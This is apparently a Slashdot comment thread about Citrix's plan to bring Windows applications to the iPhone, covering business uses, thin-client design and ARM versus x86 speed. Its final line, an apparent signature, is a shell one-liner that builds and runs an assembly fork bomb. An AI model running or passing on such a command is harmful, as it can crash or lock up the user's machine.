Citrix To Bring Millions of Windows Apps To iPhone
Anonymous writes "Citrix is putting out word that it's developing an iPhone receiver that could make 'millions' of Windows applications work on Apple's handset. (Something Citrix is calling 'Project Braeburn.')
Aside from Flash and a few other apps, is anyone pining for Windows-based apps on the iPhone? (Exchange on the iPhone seems to be successful, but so does Apple's App store, which has done pretty well without Windows.)"
Bingo. While the technorati here at /. may look down their noses at it, there are a gazillion of us corporate types using Citrix (or, as we like to call it, Sh*trix), which is empirically a terminal application. So think of a terminal on the iPhone that lets you get into your entire corporate application empire.
MAJOR Business killer application. Instantly, the iPhone can become the defacto business palmtop environment. Sure, businesses will need to scale applications dependent on 1024x768 or higher screen sizes, or get used to virtual screens (imagine a virtual screen using the tilt sensors for screen panning ? Cool !).
Apple is gonna kill the Crackberry if this works.
You do know that Citrix is a Remote Desktop (Terminal Services) add-on that displays applications in their own window instead of an entire desktop? Applications run on the server, not on the iPhone. Unless the Citrix client itself is filled with holes, there is nothing that can infect the iPhone, just the Windows Server hosting Citrix and the application.
Said, "It's just like dice but it's got more sides And it tells me who lives and who dies"
An ARM would choke emulating an x86 anyway. In fact even if you recompiled the x86 binaries to run on Arm it would still suck because desktop class x86s like Core2 have a higher clock rate, are out of order, have big caches and fast SDRAM.
An iPhone apparently has a ARM1176JZF running at ~400Mhz. The fastest ARM a QCT Snapdragon ARM at 1Ghz will most likely be slower than the slowest netbook class x86, an Intel Atom at 1.6Ghz.
Of course ARM uses much less power, but for single thread integer performance ARM is in a completely different class from x86.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;